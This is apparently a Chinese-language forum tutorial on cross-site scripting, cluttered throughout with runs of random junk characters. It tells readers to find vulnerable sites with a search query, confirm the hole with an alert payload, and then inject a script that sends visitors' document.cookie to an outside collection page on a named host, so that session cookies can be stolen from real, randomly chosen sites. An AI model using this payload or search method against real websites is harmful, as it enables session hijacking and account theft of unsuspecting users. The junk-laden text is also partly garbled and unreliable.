; H! q8 u7 ~9 C-------------------------------------------------------------------) W# f. t# N! P2 t" f; V& i& l
/ V6 ?# D5 t' L( [首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。3 F. S' r' l1 o
# o; k, Z6 Z+ l$ g$ B9 m 5 x$ _& i4 i3 `6 ]! v/ X0 S# L2 O8 R$ k6 U, O0 \. P. l4 w o
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:* S( \" _1 C. ^, `& c% ]! W3 R
4 S4 ^2 s0 s) _, y" R
' C+ Q' {6 k, ^7 y; ?2 `* J0 f' V* ^+ m+ @3 H
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是 V* L! ?: F' b0 b! e) Y
1:让目标访问已跨站的网址,然后这个网址执行脚本/ ?' b/ {; g' ^' Z! f* W% G
2:然后跳转到你已经写好专门用来收集Cookie的网址 % q0 @( K2 `& R0 R' ?6 u+ n; o& o# o( X) }) o& N5 n
具体实现方法:, K: p F2 {+ s4 G8 X7 J& b0 P
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script> ' `. F2 O( y7 s' `- t/ g! a/ u6 I2 ]) d这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。4 S. Y3 T4 R: {: X W* a0 r& ^0 l